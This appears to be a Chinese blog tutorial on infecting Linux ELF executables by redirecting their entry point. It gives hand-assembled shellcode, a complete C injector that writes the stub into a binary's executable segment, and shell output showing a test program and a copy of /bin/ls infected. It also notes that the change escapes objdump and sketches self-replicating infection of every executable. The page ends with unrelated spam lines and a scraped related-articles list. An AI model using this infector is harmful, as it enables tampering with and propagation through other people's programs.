修改ELF可执行文件entry入口感染一个程序
前面的文章在介绍如何将代码注入Linux内核模块的时候,我提到 “修改ELF文件或者PE文件的入口,让它跳到自己的逻辑”这件事很容易。
真的很容易吗?是的,真的很容易。本文就是要演示这个的。
还记得熊猫烧香病毒吧,包括它在内的早期计算机病毒都是靠这种方式来注入自己的代码并实现自我复制的,当然,它不一定修改的是入口地址,但肯定是修改了ELF/PE文件。
若想修改ELF文件,我们先要了解ELF文件的结构,这个只需要花10分钟大致浏览即可,本文不会花篇幅介绍ELF的相关概念。
<elf.h>头文件里已经包含了足够的数据结构和API供我们对ELF可执行文件进行修改,我们用就是了。
本文演示的例子很简单,就是感染一个既有的LEF可执行文件,首先,我们先提供该可执行文件的代码:
// hello.c
int main()
{printf("aaaaaaaaaaaaa\n");
}
我们将它编译成hello可执行文件。
接下来我们尝试用另一个程序去修改它的入口,新的入口逻辑如下:
if (fork() == 0) {exec("/bin/aa");
} else {goto orig_entry;
}
我们肯定不能往ELF文件里直接注入C代码,就好像我们不能往血管里注射拉面汤一样。所以我们必须得到上述逻辑的汇编指令码。
如何得到指令码呢?
我们手工把上面的C逻辑写成内联汇编,然后在编译成可执行文件,通过objdump就能查到汇编指令码:
void func()
{asm ("xor %rax, %rax;\n""mov $0x39, %al;\n" // fork的系统调用号"syscall; \n""test %eax, %eax;\n""je exec;\n""nop; nop; nop; nop; nop;\n" // jmp orig 的5字节占位指令,运行时待定"exec:\n""mov $0x61612f6e69622f, %r11;\n""push %r11\n;""mov $0x0, %edx;\n""mov $0x0, %rsi;\n""mov %rsp, %rdi;\n""mov $0x3b, %eax;\n" // 填入exec的系统调用号"syscall;\n""orig:\n");
}void main()
{func();
}
编译好后通过objdump -D我们可以得到下面的指令:
00000000004004cd <func>:4004cd: 55 push %rbp4004ce: 48 89 e5 mov %rsp,%rbp4004d1: 48 31 c0 xor %rax,%rax4004d4: b0 39 mov $0x39,%al4004d6: 0f 05 syscall4004d8: 85 c0 test %eax,%eax4004da: 74 05 je 4004e1 <exec>4004dc: 90 nop4004dd: 90 nop4004de: 90 nop4004df: 90 nop4004e0: 90 nop00000000004004e1 <exec>:4004e1: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r114004e8: 61 61 004004eb: 41 53 push %r114004ed: ba 00 00 00 00 mov $0x0,%edx4004f2: 48 c7 c6 00 00 00 00 mov $0x0,%rsi4004f9: 48 89 e7 mov %rsp,%rdi4004fc: b8 3b 00 00 00 mov $0x3b,%eax400501: 0f 05 syscall
OK,我们将其整理后,会得到下面的stub_code数组:
unsigned char stub_code[] ="\x48\x31\xc0" // xor %rax,%rax"\xb0\x39" // mov $0x39,%al"\x0f\x05" // syscall"\x85\xc0" // test %eax,%eax"\x74\x05" // je 40070c <__FRAME_END__+0x14>"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11"\x41\x53" // push %r11"\xba\x00\x00\x00\x00" // mov $0x0,%edx"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi"\x48\x89\xe7" // mov %rsp,%rdi"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax"\x0f\x05"; // syscall
#define RELJMP 11
原材料已经准备好,就等着将上面的数组里的字节码注入到hello程序了。
在实施注入之前,说明两点。
首先,注意上面的指令:
movabs $0x61612f6e69622f,%r11
push %r11
mov %rsp,%rdi
很明显,按照x86_64的函数调用参数规范,rdi寄存器里就是exec系统调用的第一个参数,即 “/bin/aa” ,但是exec的参数准备极其麻烦,且需要一个字符串,而我们知道,字符串是保存在ELF文件的单独的节的,我不想那么麻烦,再注入一个字符串,我只想注入一段代码,仅仅是代码,所以我这里取了个巧:
// 我将字符串编码到了一个long型的数字里。
char name[8] = {'/', 'b', 'i', 'n', '/', 'a', 'a', 0};
char *pname;
unsigned long pv = *(unsigned long *)&name[0];
// 0x61612f6e69622f,即 aa/nib/,小端转换为/bin/aa
pname = (char *)&pv; // pname就是aa
同时,我利用了push来使得该long型数字的指针保存在rsp中,这样只需要下面的操作,rdi寄存器里就是exec的第一个参数了:
push %r11
mov %rsp,%rdi
如此一来,就省去了复杂的字符串的保存和操作。好玩吗?在继续之前,/bin/aa到底是什么有必要揭露一下,它其实很简单,就是打印一句话:
int main()
{printf("rush tighten beat electric discourse\n"); // “赶紧打电话”的意思
}
我们希望的效果就是,所有被感染的程序(在我们的例子中,就是hello),在执行的时候,都会打印这么一句“赶紧打电话”的句子。
OK,让我们继续。
是时候给出修改entry的代码了,还是那句话,我不敢保证这个代码完全没有bug,但它足够简单,且能工作,为了展示效果,简单是最重要的。
代码如下:
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <elf.h>unsigned char stub_code[] ="\x48\x31\xc0" // xor %rax,%rax"\xb0\x39" // mov $0x39,%al"\x0f\x05" // syscall"\x85\xc0" // test %eax,%eax"\x74\x05" // je 40070c <__FRAME_END__+0x14>"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11"\x41\x53" // push %r11"\xba\x00\x00\x00\x00" // mov $0x0,%edx"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi"\x48\x89\xe7" // mov %rsp,%rdi"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax"\x0f\x05"; // syscall
#define RELJMP 11int main(int argc, char **argv)
{int fd, i;unsigned char *base;unsigned int size, *off, offs;unsigned long stub, orig;unsigned long clen = sizeof(stub_code);Elf64_Ehdr *ehdr;Elf64_Phdr *phdrs;// 这就是一个e9 jmp rel32指令stub_code[RELJMP] = 0xe9;off = (unsigned int *)&stub_code[RELJMP + 1];fd = open(argv[1], O_RDWR);size = lseek(fd, 0, SEEK_END);base = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);ehdr = (Elf64_Ehdr *) base;phdrs = (Elf64_Phdr *) &base[ehdr->e_phoff];shdrs = (Elf64_Shdr *) &base[ehdr->e_shoff];orig = ehdr->e_entry;for (i = 0; i < ehdr->e_phnum; ++i) {if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_flags == (PF_R|PF_X)) {// 这里假设只有简单的一个可执行的程序头stub = phdrs[i].p_vaddr + phdrs[i].p_filesz;ehdr->e_entry = (Elf64_Addr)stub;// 为了跳回原来的入口,这里需要计算相对偏移offs = orig - (stub + RELJMP) - 5;// 待定的rel32终究被赋值了*off = offs;memcpy(base + phdrs[i].p_offset + phdrs[i].p_filesz, stub_code, clen);printf("fsie:%d %08x\n", phdrs[i].p_filesz, ehdr->e_entry);phdrs[i].p_filesz += clen;phdrs[i].p_memsz += clen;break;}}munmap(base, size);
}
开始吧!来吧!
[root@localhost modentry]# cat test-1
gcc hello.c -o hello
gcc modelf.c -o modelf
./modelf ./hello
[root@localhost modentry]# ./test-1
hello.c: 在函数‘main’中:
hello.c:3:2: 警告:隐式声明与内建函数‘printf’不兼容 [默认启用]printf("aaaaaaaaaaaaa\n");^
fsie:1788 004006fc
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
rush tighten beat electric discourse
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse
成功感染!
让我们感染一个系统的命令看如何:
[root@localhost modentry]# cp /bin/ls ./
[root@localhost modentry]# ./modelf ./ls
fsie:103980 0041962c
[root@localhost modentry]# ./ls
hello hello.c ls modelf modelf.c nop pwd test-1
rush tighten beat electric discourse
成功感染!
我上面的感染代码非常简单,你可能觉得是错的。没错,它就是错的,因为它寄希望于程序后面有空余的空间,我甚至没有修改section的大小和文件的大小,我们发现,在注入感染前后,文件的大小并没有变化,而且还有更好 副作用 :
[root@localhost modentry]# /bin/ls
hello hello.c ls modelf modelf.c nop pwd test-1
[root@localhost modentry]# objdump -D /bin/ls >./lsdump1
[root@localhost modentry]# ./ls
hello hello.c ls lsdump1 modelf modelf.c nop pwd test-1
rush tighten beat electric discourse
[root@localhost modentry]# objdump -D ./ls >./lsdump2
[root@localhost modentry]#
[root@localhost modentry]# diff lsdump1 lsdump2
2c2
< /bin/ls: 文件格式 elf64-x86-64
---
> ./ls: 文件格式 elf64-x86-64
我们看到,其objdump的结果没有任何区别。而如果我们把程序做完善了,反而更容易暴露,如果我在modelf.c中增加adjust sections size的操作,那么可执行文件被感染之后,objdump的结果将会多出下面的内容:
00000000004006f8 <__FRAME_END__>:4006f8: 00 00 add %al,(%rax)4006fa: 00 00 add %al,(%rax)4006fc: 48 31 c0 xor %rax,%rax4006ff: b0 39 mov $0x39,%al400701: 0f 05 syscall400703: 85 c0 test %eax,%eax400705: 74 05 je 40070c <__FRAME_END__+0x14>400707: e9 24 fd ff ff jmpq 400430 <_start>40070c: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r11400713: 61 61 00400716: 41 53 push %r11400718: ba 00 00 00 00 mov $0x0,%edx40071d: 48 c7 c6 00 00 00 00 mov $0x0,%rsi400724: 48 89 e7 mov %rsp,%rdi400727: b8 3b 00 00 00 mov $0x3b,%eax40072c: 0f 05 syscall
仔细看,是不是我们注入的代码呢?
最后,我要解释一下,为什么要调用exec执行外部程序呢?直接把代码灌进去不是更直接吗?
是的,这个我肯定知道,但是:
- 这只是演示程序,我不想在单独的stub_code里搞得太复杂而失去可玩性。
- 由于entry处尚未初始化libc以及库函数,因此调用printk可能会出现问题。
- 在stub_code里做打印操作,会让字节码变得非常冗余复杂。
然而,我的目标已经彰显,如果不怕费事,完全可以在stub_code里塞入下面的逻辑:
- 扫描系统所有的可执行文件,注入每一个可执行文件本文展示的代码。
- 代码添加自我复制功能。
为经理下订单,购买¥18000的皮鞋以及¥49800的西裤,货到付款。
浙江温州皮鞋湿,下雨进水不会胖。
修改ELF可执行文件entry入口感染一个程序相关推荐
- 详解ELF可执行文件格式:读取头部信息和程序表头
要想实现ELF文件的入口劫持,不深入掌握其运行原理与组成结构那是不可能的.ELF的内部结构复杂,加载逻辑难以理解,因此我们需要通过切香肠的方式,将这个困难的技术点一点一滴的去攻克. 这一节我们先掌握如 ...
- 圆形矩形梯形java,JAVA-打包三角型 梯形 圆形三个类,用一个程序执行入口对三类对象进行测试...
JAVA--封装三角型 梯形 圆形三个类,用一个程序执行入口对三类对象进行测试 public class diliuzhou_1 { /** * @param args */ public stati ...
- Linux下的ELF可执行文件学习总结
Linux下的ELF可执行文件的格式解析 http://blog.csdn.net/xuchao1229/article/details/8915831 目录(?)[+] ELF(Executable ...
- 一个程序从编译到运行的全过程
前言 一个程序,从编写完代码,到被计算机运行,总共需要经历以下四步: 编译.编译器会将程序源代码编译成汇编代码. 汇编.汇编器会将汇编代码文件翻译成为二进制的机器码. 链接.链接器会将一个个目标文件和 ...
- 一个程序员多年的收藏
程序员珍藏的东西会是什么?呵呵,除了平时写的代码,就是那些百看不厌的电子书了. 昨天很郁闷,我用了5年的移动硬盘,莫名奇妙的坏掉了.里面40G的资料全部报销了. 为了不再重蹈覆辙,我决定把重要的电子书 ...
- 一个程序员的多年珍藏--收藏
2010 - 01 - 15 [置顶] 一个程序员的多年珍藏(1月23日最新更新) 文章分类:Java编程 程序员珍藏的东西会是什么?呵呵,除了平时写的代码,就是那些百看不厌的电子书了. 昨天很郁闷, ...
- C++中运行一个程序的内存分配情况及qt中的内存管理机制
一个由c/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)- 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其操作方式类似于数据结构中的栈. 2.堆区(heap) - 一 ...
- 《易学C++(第2版)》——2.2 如何创建一个程序
本节书摘来自异步社区出版社<易学C++(第2版)>一书中的第2章,第2.2节,作者:潘嘉杰 ,更多章节内容可以访问云栖社区"异步社区"公众号查看. 2.2 如何创建一个 ...
- ELF可执行文件的理解
ELF可执行文件的理解 ELF(Executable and Linking Format)是一种对象文件的格式,用于定义不同类型的对象文件(object files)中都放了什么东西.以及都以什么样 ...
最新文章
- Kafka创建Topic时如何将分区放置到不同的Broker中
- 关于 redis、memcache、mongoDB 的对比
- [html] html5中的meta标签robots有什么作用?
- 单细胞转录组基本概念(一)
- 单片机C语言控制16*16LED显示屏,基于单片机的pwm控制16*16led点阵亮度调节怎么做啊,...
- 浙大PAT甲级 1080
- mysql分页查询参数的含义_mysql分页查询详解
- 单片机c语言6种开方,单片机快速开平方的算法
- Linux weget (文件 下载)安装方法
- 计算机画图工具怎么缩小图片,win7系统画图工具放大缩小图片的技巧
- html修改progress背景色,html_progress元素以及样式修改
- ubuntu16.04+七彩虹GTX1060的NVIDIA驱动+Cuda8.0+cudnn5.1+tensorflow+keras搭建深度学习环境【学习笔记】【原创】
- 英飞凌 DAVE™ 4.1.2 SDK 开发app学习笔记——什么是DAVE APP?
- python精灵和精灵组_Pygame精灵和精灵组
- 数据库系统概论实验二——创建及管理数据库
- 计算机英语-基础知识
- 阿里云语音电话的sdk的调用实例
- 应届生做技术支持好吗_应届生第一份工作做销售合适吗?难吗?对吗?谁能给我答案?...
- 微信小程序配置npm构建详细解读
- developerWorks Linux 专栏
热门文章
- 以太坊环境以及Solidity学习笔记
- p 车票提前下车客户端linux,火车能中途下车么?看完你就知道了
- 一个好用的在线画图工具 - 图表秀
- python计算召回率_机器学习之分类:精确率和召回率
- 广告召回率是什么意思_准确率、精确率、召回率的含义
- Centos | 一招解决所有 ImportError: xxx: cannot open shared object file
- 小案例--封装jsonp
- 一文读懂Java接口
- mac 读linux格式文件内容,linux和mac osx 下查找替换并保存文件的方法
- HDUOJ 1114 Piggy-Bank